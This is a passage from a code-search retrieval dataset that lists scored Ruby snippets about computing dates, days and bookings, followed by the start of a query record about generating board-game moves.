"text": "def reserved_dates\n days = reservations.all.map do |x|\n if x.aasm_state != \"canceled\"\n (x.checkin_date...x.checkout_date).map{|d| d}\n end\n end\n days.compact.flatten\n end",
"title": ""
},
{
"docid": "85ba0599351d4b373353e8b56df67ad2",
"score": "0.6038672",
"text": "def days_of_month\n days_of_month = []\n if new_resource.day\n days = new_resource.day.to_s.split(\",\")\n days.map! { |day| day.to_s.strip.upcase }\n days.delete(\"LAST\") if days.include?(\"LAST\")\n days.delete(\"LASTDAY\") if days.include?(\"LASTDAY\")\n if days - (1..31).to_a\n days.each do |day|\n days_of_month << DAYS_OF_MONTH[day.to_i]\n end\n days_of_month = days_of_month.size > 1 ? days_of_month.inject(:|) : days_of_month[0]\n end\n else\n days_of_month = DAYS_OF_MONTH[1]\n end\n days_of_month\n end",
"title": ""
},
{
"docid": "85ba0599351d4b373353e8b56df67ad2",
"score": "0.6038672",
"text": "def days_of_month\n days_of_month = []\n if new_resource.day\n days = new_resource.day.to_s.split(\",\")\n days.map! { |day| day.to_s.strip.upcase }\n days.delete(\"LAST\") if days.include?(\"LAST\")\n days.delete(\"LASTDAY\") if days.include?(\"LASTDAY\")\n if days - (1..31).to_a\n days.each do |day|\n days_of_month << DAYS_OF_MONTH[day.to_i]\n end\n days_of_month = days_of_month.size > 1 ? days_of_month.inject(:|) : days_of_month[0]\n end\n else\n days_of_month = DAYS_OF_MONTH[1]\n end\n days_of_month\n end",
"title": ""
},
{
"docid": "5b6330ade0187c993cbda9ede8f5effa",
"score": "0.60324657",
"text": "def search_date_select\n years + months + days\n end",
"title": ""
},
{
"docid": "70fe392c70f3d48c22c39cccbf4e1f5e",
"score": "0.5985071",
"text": "def mdays\n @rrule.getByMonthDay.to_a\n end",
"title": ""
},
{
"docid": "a2736f19ad2f1a5284a9824773b89bb7",
"score": "0.5944146",
"text": "def days\n list = []\n n = 0\n d = 7\n d = @rate_search_container.nights if @rate_search_container.nights > 7 \n \n while n < d\n list << @rate_search_container.arrival_date.to_date + n rescue Time.now\n n += 1\n end\n list\n end",
"title": ""
},
{
"docid": "84c36556c395274278c819ab649586a0",
"score": "0.59287375",
"text": "def days_array\n day = self.beginning_of_month.wday\n day = 7 if day == 0 #mimics cwday\n array = []\n array[day - 1] = 1\n (2..self.end_of_month.mday).each {|i| array << i }\n array\n end",
"title": ""
},
{
"docid": "25e1033833ca5660cf1c2e0b433b1049",
"score": "0.59198403",
"text": "def days\n r = (self.esdate.to_date..self.eedate.to_date).to_a\n end",
"title": ""
},
{
"docid": "77b85986640e00ca17b6f569bad0053f",
"score": "0.5896679",
"text": "def minus_days(days)\n plus_days -days\n end",
"title": ""
},
{
"docid": "22e8a867a8d40fdef4a638fc1bf84076",
"score": "0.5893511",
"text": "def view_dates\n dates_in_array = self.dates.split(',').join(\" \")\n end",
"title": ""
},
{
"docid": "177fe3311ebcf07c9b6ad4ab405bf927",
"score": "0.585548",
"text": "def calendar_dates\n # Go two hours back because of late games\n now = Time.now - 7200\n\n # Account for up to 5 off days\n days = (past? ? -1 : 1) * (@number + 5)\n\n [now, now + (days * 24 * 3600)].sort\n end",
"title": ""
},
{
"docid": "67172ba21be9dbce15bd68ff1db85834",
"score": "0.57957035",
"text": "def days() [self] end",
"title": ""
},
{
"docid": "8c3238f98e37f74c2b27e597b869d5c1",
"score": "0.5787673",
"text": "def days; end",
"title": ""
},
{
"docid": "8c3238f98e37f74c2b27e597b869d5c1",
"score": "0.5787673",
"text": "def days; end",
"title": ""
},
{
"docid": "30f53be685525fd5eb0e23a71d136443",
"score": "0.5768774",
"text": "def days\n DAYS\n end",
"title": ""
},
{
"docid": "db6670526721ddb2dff70f513a956251",
"score": "0.5746933",
"text": "def dates\n @dates ||= date_from.to(no_of_days)\n end",
"title": ""
},
{
"docid": "a9405c2c141e864ce027d5b04919fa6b",
"score": "0.5737339",
"text": "def in_days; end",
"title": ""
},
{
"docid": "a9405c2c141e864ce027d5b04919fa6b",
"score": "0.5737339",
"text": "def in_days; end",
"title": ""
},
{
"docid": "91a17f37706c08b98efc6e323f7d9298",
"score": "0.5725775",
"text": "def days_for_select(from,to,options={})\n from = from.to_date\n to = to.to_date\n\n format = options.delete(:format)\n format = :month if format.nil?\n (from...to).map{|d| [l(d,:format => format),l(d)]}\n end",
"title": ""
},
{
"docid": "b31ca8d6dc36dcf41a22d356cf4c25e9",
"score": "0.57070684",
"text": "def history_days\n params[:iaction] = \"H\"\n @floor_view_entry_response = invoke_webservice method: 'get', class: 'custInv/', action:'floorViewEntry', query_string: {custNo: current_user, action: params[:iaction], noOfDays: params[:days] }\n @len = @floor_view_entry_response[\"partNoList\"].length\n @days_format = PanstockRequest.get_select_values\n respond_to do |format|\n format.js\n format.html\n end\n end",
"title": ""
},
{
"docid": "74ad36f71c2a5717e251e15f0fe9db17",
"score": "0.570163",
"text": "def days\n end_date.yday - start_date.yday + 1\n end",
"title": ""
},
{
"docid": "18b0d7321d62f30ecc92a63c4ecc4965",
"score": "0.5694756",
"text": "def closed(*days)\n days.each { |day| calendar[calendar_key(day)] = Array.new }\n end",
"title": ""
},
{
"docid": "697bc2b28c3ce6cc50462c9919b11528",
"score": "0.5694222",
"text": "def days=(_arg0); end",
"title": ""
},
{
"docid": "38e9ee313a54d9e5d2624e2ecd5979f8",
"score": "0.56821793",
"text": "def days\n \twater_days = []\n \twaterings.each do |watering|\n \t water_days << watering.date.strftime(\"%b %d, %Y\")\n \tend\n water_days\n \t# water_days.join(\" / \")\n end",
"title": ""
},
{
"docid": "423c465350de5dcedad243a9e38063d2",
"score": "0.5680487",
"text": "def day_choices\n days = (1..31).to_a\n days.zip(days)\n end",
"title": ""
},
{
"docid": "ad3fa83b0a2689761ed80bee5e62040a",
"score": "0.5651455",
"text": "def dates_done\n @dates - @dates_to_do\n end",
"title": ""
},
{
"docid": "06a2b403592e8378f070cc44e95f7989",
"score": "0.5647919",
"text": "def scheduled_days\n day_names = []\n if days.any?\n days.each do |index|\n day_names << Date::DAYNAMES[index]\n end\n end\n day_names\n end",
"title": ""
},
{
"docid": "06defe98b810b74b446176b5f5afeefd",
"score": "0.5626287",
"text": "def days\n (1..31).to_a\n end",
"title": ""
},
{
"docid": "2f06316e27d7369e3091045ca6db88c4",
"score": "0.5597026",
"text": "def days \r\n @apartment = Apartment.find(id)\r\n days = ( @apartment.requested_end_rent - @apartment.requested_start_rent ).to_i\r\n return days;\r\n end",
"title": ""
},
{
"docid": "22ab73b18c8943d48998e7ebbf95ba80",
"score": "0.5594277",
"text": "def days\n return unless @options.key? :days\n return if @options[:days] == 'default'\n error = proc { argument_error 'days', @days }\n error.call unless option_exists?(@days, :days)\n \"/#{@days[@options[:days].to_s.to_sym]}\"\n end",
"title": ""
},
{
"docid": "31536ec8985da609bdc42fb2fec34e95",
"score": "0.55926794",
"text": "def unavailable_dates\n booking_dates = []\n start = (start_time + 1.days).to_datetime\n finish = (end_time + 1.days).to_datetime\n (start..finish).each do |d|\n booking_dates << d.to_s\n end\n return booking_dates\n end",
"title": ""
},
{
"docid": "7677a9f1aeea61d5417dc00c9d17e818",
"score": "0.5583341",
"text": "def dates\n res = Array.new\n @debut.upto(@fin) { |x| res << x }\n res.pop\n res\n end",
"title": ""
},
{
"docid": "06b1bcc825880342ba3f1597c339a998",
"score": "0.55811656",
"text": "def end_date_form_options\n available_months.map do |date|\n label = \"#{Date::ABBR_MONTHNAMES[date.month]} #{date.end_of_month.day}, #{date.year}\"\n value = date.strftime(\"%Y-%m\") # YYYY-MM\n [label, value]\n end\n end",
"title": ""
},
{
"docid": "fb7455c5d23973f82bb24c90ceff4b2b",
"score": "0.55530506",
"text": "def delivery_dates\n #(0..2).to_a.map { |n| earliest_available_delivery_date + n }\n dates = (1..3).to_a.map { |n| n.business_days.from_now }.map(&:to_date)\n # for orders coming in on Sat or Sun we need to hack this in\n # disscussed here https://github.com/bokmann/business_time/pull/116\n Date.today.weekday? ? dates : dates.map { |d| d - 1 }\n end",
"title": ""
},
{
"docid": "cd7f4e34035de6336d3d9aa698cfeaa7",
"score": "0.5551734",
"text": "def booking_days\n (departure - arrival).to_i\n end",
"title": ""
},
{
"docid": "954169e813e335ea0f7e1bfadebd168c",
"score": "0.5549119",
"text": "def days\n first_day = Date.civil cursor_array[4], cursor_array[3]\n last_day = ((first_day >> 1) - 1).day\n weekday_adjustment = 1 - first_day.wday\n \n [ ([0,7,14,21,28].map do |week_adjustment|\n \n # Loop through weeks turning the weekdays into calendar days by adding the week_adjustment\n # and weekday_adjustment. weekday_adjustment is 1 to -5 depending if the first weekday\n # of the month is Monday to Sunday respectively. Where month begins on Monday, no adjustment is needed\n # since week day 1 is also calendar day 1. If month begins on Tuesday, adjustment is -1\n # since week day 2 is calendar day 1 etc.\n \n weekdays.values.map { |day| (day + week_adjustment + weekday_adjustment) % 35 }\n end.flatten.select { |day| day >= 1 and day <= last_day } unless not monthdays.wildcard and weekdays.wildcard),\n \n (monthdays.values.select { |day| day >= 1 and day <= last_day } unless not weekdays.wildcard and monthdays.wildcard)\n ].flatten.compact.uniq.sort\n end",
"title": ""
},
{
"docid": "b2520c70bd22b86b3b3dde06b5d50dcd",
"score": "0.5544582",
"text": "def day_fields\n []\n end",
"title": ""
},
{
"docid": "1c18ed2dd995fe89c4f7211cb4f6e64c",
"score": "0.55417746",
"text": "def unavailable_days\n unavailable_periods.inject(0, &method(:accumulate_days))\n end",
"title": ""
},
{
"docid": "ccdaa398c862851691569b50c37ad812",
"score": "0.55401474",
"text": "def unavailable_dates\n # Plucks the dates from the rentals and stores them\n rentals.pluck(:start_date, :end_date).map do |range|\n # Formats the data for flatpickr to read the unavailable dates.\n { from: range[0].to_s, to: range[1].to_s }\n end\n end",
"title": ""
},
{
"docid": "8dc8f55e84b05ddf64a0ab2a8d45d42c",
"score": "0.553119",
"text": "def dates_for_select\n return [['','']] + self.dates.map{|date| [date.strftime(\"%B %d, %Y\"), date.strftime(\"%Y-%m-%d\")]}\n end",
"title": ""
},
{
"docid": "f0c702e888881ae2097ed72dc496ba2d",
"score": "0.55281514",
"text": "def days\n find_period :days\n end",
"title": ""
},
{
"docid": "5af78d100fde8f4d44f377776e681855",
"score": "0.5518481",
"text": "def dates(item)\n [item.start_date, item.end_date].each_with_index.map {|date, i|\n month = date && date.month ? Date::MONTHNAMES[date.month] : \"\"\n year = date && date.year ? date.year : \"\"\n item.is_current && i == 1 ? \"Present\" : \"#{month} #{year}\".strip\n }.reject {|date| date.size == 0}.join(\" - \")\n end",
"title": ""
},
{
"docid": "e6b2ecfac82c5fc8eeff493a58044a6d",
"score": "0.55179423",
"text": "def get_total_workout_days\n end",
"title": ""
},
{
"docid": "1250f589e658a716b984ef86fa1bf8da",
"score": "0.55146307",
"text": "def select_days\n days_menu = []\n days_selected = []\n select_days_menu(days_menu)\n select_days_selection(days_selected, days_menu)\n return days_selected\n end",
"title": ""
},
{
"docid": "1ae742a09a20ee2a7fa3682936f8d951",
"score": "0.55103487",
"text": "def days_after_months\n\t\t\t@seconds.quo(86400)\n\t\tend",
"title": ""
},
{
"docid": "443e342bf5115e755c57f201c8753ce1",
"score": "0.55086094",
"text": "def daysaway(odate)\n\t\treturn diffdate(Date.today, odate)\n\tend",
"title": ""
},
{
"docid": "2d36f34654a749c668d13cf959afccaf",
"score": "0.5472219",
"text": "def days_booked\n end_date - start_date\n end",
"title": ""
},
{
"docid": "2d2765577fd8f610b5fe4e899bf1ea7e",
"score": "0.54691094",
"text": "def display_dates\n @dates_for_display\n end",
"title": ""
},
{
"docid": "161a76483245339c9d0acac4b6cc4e39",
"score": "0.5467963",
"text": "def available_nights\n days_in_month - unavailable_nights\n end",
"title": ""
},
{
"docid": "fc68721de5952d09188bc86cadcb53f7",
"score": "0.54631406",
"text": "def days_offset\n (Date.today - start_date).to_i\n end",
"title": ""
},
{
"docid": "3dbad444999a6ea822f140f4c7b36f4a",
"score": "0.54587793",
"text": "def index\n days_ago = (params[:days_ago] || 0).to_i\n @diaries = for_date_offset(days_ago)\n end",
"title": ""
},
{
"docid": "d62785a31fd9f2277476327412a2a630",
"score": "0.5454468",
"text": "def days_in_month\n date.days_in_month\n end",
"title": ""
},
{
"docid": "18c9bc600d9d132ef7e1815bd3cc06d1",
"score": "0.54534566",
"text": "def days_overdue\n difference = @end_date - Date::today\n days_difference = difference.to_i\n return days_difference * -1\n end",
"title": ""
},
{
"docid": "4abe0f11d1c80f34fb4bd135288c235b",
"score": "0.54504323",
"text": "def gen_date_minus_days days\n\t_date = ((Date.today) - days)\n\t_date_format = _date.strftime(\"%d/%m/%Y\")\nend",
"title": ""
},
{
"docid": "d11bbde854963f2e008c998acbeb7185",
"score": "0.545003",
"text": "def dates_to_be_updated\n result = Array.new\n start_date = Date.strptime(date_from)\n end_date = Date.strptime(date_to)\n\n # include the dates according to day specified\n while start_date <= end_date\n result << start_date.strftime(Constant::GRID_DATE_FORMAT) if days.include?(start_date.wday.to_s)\n start_date = start_date + 1.day\n end\n result\n end",
"title": ""
},
{
"docid": "f55a8a8803e514f4991bfce37d8659ed",
"score": "0.54495627",
"text": "def days_without_contact_before_unenroll\n return @days_without_contact_before_unenroll\n end",
"title": ""
},
{
"docid": "0a9603197022fb05a09929ed4077e547",
"score": "0.5448971",
"text": "def end_date_choices\n return { :dates => [], :disabled => [] } if start_date.nil?\n dates = []\n disabled = []\n for i in (DEFAULT_MAX_CHECKOUT_DAYS + 1).times\n d = start_date + i.days\n title = \"#{d.to_s(:date_with_day_of_week)}\"\n if i == 0\n title += \" (Same Day Return)\"\n elsif d.strftime(\"%w\") == \"0\" || d.strftime(\"%w\") == \"6\" # weekend\n disabled << d \n # elsif d.to_date.is_holiday?\n # title += \" (Holiday)\"\n # disabled << d\n else\n title += \" (#{pluralize(i, \"day\")})\"\n end\n dates << [title, d.to_s(:db)]\n end\n return { :dates => dates, :disabled => disabled.collect{|d| d.to_s(:db) } }\n end",
"title": ""
},
{
"docid": "d3e29f50791ef0f761c9bf96fb7a40be",
"score": "0.543763",
"text": "def days_to_go\n project_end_date = self.end_date || Time.now\n project_start_date = self.start_date || project_end_date\n\n [project_end_date.at_beginning_of_day - project_start_date.at_beginning_of_day, 0].max.to_i\n end",
"title": ""
},
{
"docid": "a83d38b8e5d13cccf5bc0a498a093946",
"score": "0.54304385",
"text": "def days\n @rate_room_type.days(@rate_search_container).collect{|x| RateDayDrop.new(x)}\n end",
"title": ""
},
{
"docid": "dcf0582d1f8f3c98df3c5d38d693bac6",
"score": "0.5429381",
"text": "def display_dates\n @dates_for_display\n end",
"title": ""
},
{
"docid": "2e616e8ac1a0547e0254339b17031c68",
"score": "0.5424155",
"text": "def assemble_open_days_in_(params)\n unless params[:garage][:open_days].blank? || params[:garage][:open_days].is_a?(String)\n # Needed to put an extra space before the comma separated values, because rails trims the first character\n # i.e. 'sun' appears to be 'un'\n params[:garage][:open_days] = \",#{params[:garage][:open_days].keys.join(',')},\"\n end\n end",
"title": ""
},
{
"docid": "8d0a09536b69392b0392a1cc55588bba",
"score": "0.54215795",
"text": "def standard_multiple_days_leave timeoffrequest,exportdatum\n cumulativerequested_time = 0\n hours = companydatum.company_control.work_hours_per_day\n (timeoffrequest.reqstart.to_date).upto(exportdatum.enddate){ |date|\n cumulativerequested_time = (cumulativerequested_time + multiple_days_timeoffunit_conversion(timeoffrequest,hours)) if ( !is_weekend?(date) && !is_holiday?(date))\n }\n cumulativerequested_time\n end",
"title": ""
},
{
"docid": "9da2d24ecfbb0bca359987be09d5f612",
"score": "0.5419725",
"text": "def days_left\n (date - Date.today)\n end",
"title": ""
},
{
"docid": "14622224e2454f0ce6f5107b8a20feff",
"score": "0.5417596",
"text": "def dates_array\n start_date = self.start_date.to_date\n end_date = self.end_date.to_date\n array = Array.new\n return array if end_date<start_date\n (start_date..end_date).each do |i|\n array << i if self.days_int.include? i.wday\n end\n array\n end",
"title": ""
},
{
"docid": "bdd6e7156802c342d0d7a4147d944e9e",
"score": "0.5413834",
"text": "def getOverdueInDays\n (Date.today - end_on).to_i\n end",
"title": ""
},
{
"docid": "4d5feee38e03fcdc167de47c15a4c295",
"score": "0.53992885",
"text": "def workingdays=(value)\n\t super(value[1..-2].split(',').map(&:to_i))\n \tend",
"title": ""
},
{
"docid": "5c0a3fdef3bd2c6c8c7e3ec154084819",
"score": "0.5393269",
"text": "def month_days\n puts \"self: #{self.inspect} #{self.year} #{self.month} #{self.day}\"\n puts \"Year: #{self.year} #{self.month}\"\n mdays = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n mdays[2] = 29 if Date.leap?(self.year)\n puts mdays[self.month]\n mdays[self.month]\n end",
"title": ""
},
{
"docid": "f54fdc0968a19ad1261ccefac0ea4611",
"score": "0.53903383",
"text": "def calculated_dates\n [period1_from_date,period1_end_date,\n period2_from_date, period2_end_date] \n end",
"title": ""
},
{
"docid": "f2eb31832134b9bad4ca03d93e62440f",
"score": "0.53889245",
"text": "def days\n {\n \"0\" => \"sunday\",\n \"1\" => \"monday\",\n \"2\" => \"tuesday\",\n \"3\" => \"wednesday\",\n \"4\" => \"thursday\",\n \"5\" => \"friday\",\n \"6\" => \"saturday\"\n }\n end",
"title": ""
},
{
"docid": "65f1b47fe973ea7651c8c1aee1a7e013",
"score": "0.53874874",
"text": "def rest_days\n\n\t\tdias_requested=weekdays_in_date_range(desde..hasta)\n\t\trt=RequestType.find(request_type_id)\n\t\tdias=0\n requests=Request.joins(:request_type).where(:employee_id => employee_id,status: [1,2],:request_type_id => request_type_id).all.where('extract(year from desde)= ?',\"#{desde.year.to_i}\")\n \n #working days.\n requests.each do |rq| \n dias+=weekdays_in_date_range(rq.desde..rq.hasta) \n end\n\n if dias_requested>(rt.num_dias_max-dias)\n \terrors.add(:desde,\"Debe seleccionar un periodo igual o inferior a los días restantes. (#{(rt.num_dias_max-dias).abs} dias)\")\n end\n\n\tend",
"title": ""
},
{
"docid": "52adc0e874a6f4dac9e8967a6e903bc4",
"score": "0.5376601",
"text": "def get_days(params)\n\n\t\t\treturn \"specific\" if params[:days2] == \"day\"\n\t\t\treturn \"last\" if params[:month_day] == \"last\"\n\n\t\t\tidx = params[:month_day].to_i - 1\n\t\t\tvals = [\"first\", \"second\", \"third\", \"fourth\"]\n\n\t\t\tif idx < vals.length\n\t\t\t\treturn vals[idx]\n\t\t\telse\n\t\t\t\treturn \"specific\"\n\t\t\tend\n\n\t\tend",
"title": ""
},
{
"docid": "b72ca85fd25d3dc7165f09c5e770ff68",
"score": "0.53756034",
"text": "def get_days\n current_date = $start_daily_reports_date\n days = []\n while current_date < $today\n days << current_date.strftime(\"%Y%m%d\")\n current_date = current_date + 1\n end\n days\nend",
"title": ""
},
{
"docid": "9f89d57bd9e641649153ade9b3860fc5",
"score": "0.53752375",
"text": "def check_out_dates(check_in)\n dates = []\n (min_stay_low..30).each do |days|\n date = check_in + days.days\n dates << date\n break if booked_on?(date)\n end\n dates\n end",
"title": ""
},
{
"docid": "0b30b998b40392b1250323c82f2309bb",
"score": "0.5373449",
"text": "def select_days days\n\t\t\tdata = @connection[:solarium].where do\n\t\t\t\ttime > DateTime.now - days\n\t\t\tend\n\t\t\treturn data.to_a\n\t\tend",
"title": ""
},
{
"docid": "5f6ce6fb778781cd27495f70685beac5",
"score": "0.53727555",
"text": "def collect_days_to_expire_for_select(days=5)\n array = []\n \tdays.times do |d|\n \t case d\n \t when 0..5 then array << [I18n.t(\"{{count}} day\", :count => (d + 1)), d + 1]\n \t when 6 then array << [I18n.t(\"{{count}} week\", :count => 1), d + 1]\n \t when 13 then array << [I18n.t(\"{{count}} week\", :count => 2), d + 1]\n \t when 20 then array << [I18n.t(\"{{count}} week\", :count => 3), d + 1]\n \t when 27 then array << [I18n.t(\"{{count}} week\", :count => 4), d + 1]\n \t end\n\t end\n \tarray\n end",
"title": ""
},
{
"docid": "16daa7f6a9b05f369d2ab3b97f462bf8",
"score": "0.53720754",
"text": "def days\n (1..duration_in_days).to_a.map do |number|\n day_at(number)\n end\n end",
"title": ""
},
{
"docid": "6c081389e0193af7a1649b4d539f79b3",
"score": "0.53700423",
"text": "def delivery_dates\n dispatch_delivery_dates.map(&:delivery_date)\n end",
"title": ""
},
{
"docid": "4be5ad13cff3de899cf995bf3ce5a1ef",
"score": "0.5364524",
"text": "def dates\n if start_date == end_date or end_date.nil?\n \"#{I18n.l(start_date, format: :semi_longer).capitalize}\"\n else\n \"Du #{I18n.l(start_date, format: :semi_long)} au #{I18n.l(end_date, format: :long)}\"\n end\n end",
"title": ""
},
{
"docid": "7820088c21e99df457778b38b7c73c08",
"score": "0.535292",
"text": "def getReservedDates\n reserved_dates = []\n if(Reservation.count != 0 )\n reservations = Reservation.pluck(:start_date)\n reservations.each {|date|\n #mark days unavailable\n (date-3.days..date+3.days).each {|d| \n reserved_dates.push(d.strftime(\"%d-%m-%Y\")).uniq!\n }\n }\n end \n if (Time.now.hour >= 21)\n today = Date.today\n reserved_dates.push(today.strftime(\"%d-%m-%Y\")).uniq!\n end\n render json: reserved_dates\n end",
"title": ""
},
{
"docid": "ad918475168d080bdd76811f5d16e9b5",
"score": "0.5344982",
"text": "def fixed_dates(month, day)\n dates(lambda{|year| Date.new(year, month, day) })\n end",
"title": ""
},
{
"docid": "4244a18e1a2e15fc8cc50ea883800ba7",
"score": "0.53446174",
"text": "def\n select_day\n days_selected = []\n session_selected = []\n select_days_selection(days_selected, )\n return days_selected\n end",
"title": ""
},
{
"docid": "4f10eb528987a4036e7d256fededd6a3",
"score": "0.53392816",
"text": "def days\n (end_date - start_date).to_i\n end",
"title": ""
},
{
"docid": "25670db355fc2e21fd0b9fc3b16e8209",
"score": "0.5338047",
"text": "def get_invoice_end_date_array\n if self.created_at > Time.new - 1.month\n return [\"Restaurant is less than one month old. Cannot create invoice\"]\n else\n date_array = []\n start_date = self.get_invoice_start_date\n #get date of last day of last month\n last_month_end_date = Time.new.prev_month.end_of_month #eg: 2015-03-31 23:59:59 +0200\n #loop through months adding each one to array and then going back \n #another month until reaching starting month\n current_date = last_month_end_date\n while current_date >= start_date\n date_array << current_date.end_of_month.to_date\n current_date -= 1.month \n current_date = current_date.end_of_month\n end\n return date_array\n end\n end",
"title": ""
},
{
"docid": "fcb55adc3e6db8b9f670e766a8270312",
"score": "0.53376174",
"text": "def days_with_tasks\n \tdays = []\n \tself.tasks.incomplete.each do |task|\n \t\tdays << task.due_date.to_date\n \tend\t\n \tdays.uniq\n end",
"title": ""
},
{
"docid": "0dff627a25f04f7e74a6a4f73c8fa0a3",
"score": "0.53375137",
"text": "def days_late\n @visited_worked_daytimes_late\n end",
"title": ""
},
{
"docid": "1efcb79c199058083ab550ba25a51eb1",
"score": "0.533482",
"text": "def days\n dayz = []\n @data.each do |e|\n dayz.push ShiftNote::DaysOfWeekShift.new(e)\n end\n dayz\n end",
"title": ""
},
{
"docid": "15b51b9973ce15cdd3ac395123941fe8",
"score": "0.53252983",
"text": "def non_working_week_days_with_rest_day\n @non_working_week_days ||= begin\n days = Setting.non_working_week_days\n if days.is_a?(Array) && days.size < 7\n days.map(&:to_i)\n else\n []\n end\n end\n end",
"title": ""
},
{
"docid": "3e0ad84bf8b250a70816080aac217b61",
"score": "0.5324106",
"text": "def remaining_days\n [0, (valid_until - Date.today).to_i].max if valid_until.present?\n end",
"title": ""
},
{
"docid": "d83f2125428627c3911b3999c187bf07",
"score": "0.532372",
"text": "def days(date)\n\tDate::DAYNAMES[Date.strptime(date, '%m/%d/%Y').wday]\nend",
"title": ""
},
{
"docid": "04d1047a6b24eaef33f6b87eb72a8b7a",
"score": "0.5323301",
"text": "def months_view_dates(date_month_start, date_month_end)\n dates_in_month_view = []\n ((date_month_start.wday - delta_start_of_weekday_from_sunday) % 7).times do |day|\n dates_in_month_view = dates_in_month_view + [(date_month_start - (((date_month_start.wday - delta_start_of_weekday_from_sunday) % 7) - day))]\n end\n\n date_month_end.day.times do |day|\n dates_in_month_view = dates_in_month_view + [date_month_start + day]\n end\n\n (6 - date_month_end.wday + delta_start_of_weekday_from_sunday).times do |day|\n dates_in_month_view = dates_in_month_view + [date_month_end + day + 1]\n end\n\n dates_in_month_view\n end",
"title": ""
},
{
"docid": "6fff5f9a95718f0ba0f4e9d7d8f93926",
"score": "0.5323174",
"text": "def rental_days\n # mjd returns value of date in number\n days_between = Date.parse(end_date).mjd - Date.parse(start_date).mjd\n\n days_between + 1\n end",
"title": ""
},
{
"docid": "6fff5f9a95718f0ba0f4e9d7d8f93926",
"score": "0.5323174",
"text": "def rental_days\n # mjd returns value of date in number\n days_between = Date.parse(end_date).mjd - Date.parse(start_date).mjd\n\n days_between + 1\n end",
"title": ""
},
{
"docid": "7e3aac64f7ce0443b795b1807cc0168a",
"score": "0.531181",
"text": "def ydays\n @rrule.getByYearDay.to_a\n end",
"title": ""
},
{
"docid": "7c4ca48545687b8692a284d29d6e1110",
"score": "0.5311793",
"text": "def day_names\n get_day_names(DAY_NAMES)\n end",
"title": ""
},
{
"docid": "7818de290c20fb1f28e33b7d51724830",
"score": "0.5299904",
"text": "def week_days\n\t\t[['Monday','Monday'],['Tuesday','Tuesday'],['Wednesday','Wednesday'],['Thursday','Thursday'],['Friday','Friday'],['Saturday','Saturday']]\n\tend",
"title": ""
},
{
"docid": "eff44046fade5b58066436085e84b3c3",
"score": "0.52990085",
"text": "def get_day_names(days_array)\n return days_array if start_day_index.zero?\n days_array[start_day_index, days_array.size - start_day_index] +\n days_array[0, start_day_index]\n end",
"title": ""
},
{
"docid": "4ae3683e7ba5aa76b91c0f8d6113c52b",
"score": "0.5297172",
"text": "def days\n count = diff / 86400 % 7\n sprintf '%d days', count unless count.zero?\n end",
"title": ""
},
{
"docid": "7f6065a32bc369b5c4d4d6be8f464369",
"score": "0.5295402",
"text": "def date_fragments\n []\n end",
"title": ""
}
] |
abe4f9490de612db3f0b53f6b1b39144
|
This method generates an array of all moves that can be made after the current move.
|
[
{
"docid": "de0a14e0a02baf3eca82284f7a92870f",
"score": "0.0",
"text": "def children\n empty_pos = []\n\n @board.rows.each_with_index do |row, i1|\n row.each_with_index do |ele, i2|\n if @board.empty?([i1, i2])\n empty_pos << [i1, i2]\n end\n end\n end\n\n possible_states = []\n\n empty_pos.each do |pos|\n dup_board = @board.dup\n dup_board[pos] = @next_mover_mark\n mark = ((@next_mover_mark == :x) ? :o : :x)\n prev_move_pos = pos \n new_node = TicTacToeNode.new(dup_board, mark, prev_move_pos) \n possible_states << new_node\n end\n\n possible_states\n\n end",
"title": ""
}
] |
[
{
"docid": "ab6b87d439d2ac15bdfbf3aebcff6da0",
"score": "0.7375647",
"text": "def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"title": ""
},
{
"docid": "cc8009ebd0fc1d96c046461c33a40943",
"score": "0.737403",
"text": "def next_moves\n MOVES.map { |move| [(position[0] + move[0]), (position[1] + move[1])] }\n .keep_if { |move| NodeMover.valid?(move) }\n .reject { |move| @@history.include?(move) }\n .map { |move| NodeMover.new(move, self) }\n end",
"title": ""
},
{
"docid": "72529babe2ed6afb1e65b0aefe15c851",
"score": "0.73583436",
"text": "def possible_moves\n\t\t\tmoves = []\n\n\t\t\t[ [ :next, :next ], [ :next, :prev ], [ :prev, :prev], [ :prev, :next ] ].each{ |axis|\n\t\t\t\tcur_col, cur_row = @col, @row\n\t\t\t\thit_piece = false\n\t\t\t\twhile ( !hit_piece )\n\t\t\t\t\tcur_col = cur_col.send( axis[0] )\n\t\t\t\t\tcur_row = cur_row.send( axis[1] )\n\t\t\t\t\thit_piece = board[ cur_col, cur_row ]\n\t\t\t\t\tif !hit_piece or hit_piece.color != self.color\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tmoves << Move.new( self, cur_col, cur_row, hit_piece )\n\t\t\t\t\t\trescue Board::OutOfBoundsError\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t}\n\t\t\t\n\t\t\tmoves\n\t\tend",
"title": ""
},
{
"docid": "60b8ea3c3b1a2769ac6f883c95e062f7",
"score": "0.7312303",
"text": "def generate_moves\n\t\tgenerate_linear_moves(1, 0)\n\t\tgenerate_linear_moves(-1, 0)\n\t\tgenerate_linear_moves(0, 1)\n\t\tgenerate_linear_moves(0, -1)\n\tend",
"title": ""
},
{
"docid": "3c4f422df2ee65b45a4e6314ae10ec0c",
"score": "0.72870547",
"text": "def possible_moves\n moves = []\n\n @directions.each do |direction|\n move = position\n loop do\n move = [direction[0] + move[0], direction[1] + move[1]]\n break if !@board.in_bounds?(move) || @board[move].color == color\n moves << move\n break unless @board.empty?(move)\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "333c61612b5bffcedb126975eff74bfe",
"score": "0.7207253",
"text": "def moves\n number_of_moves, moves = gen_legal_moves\n results = []\n number_of_moves.times do |i|\n results << Java::mediocre.board.Move.inputNotation(moves[i])\n end\n results\n end",
"title": ""
},
{
"docid": "db8b05165e0b404253317651ff596071",
"score": "0.71993566",
"text": "def possible_moves\n []\n end",
"title": ""
},
{
"docid": "1ce8f2fa3526ef63a8d962d5465bdad4",
"score": "0.7191219",
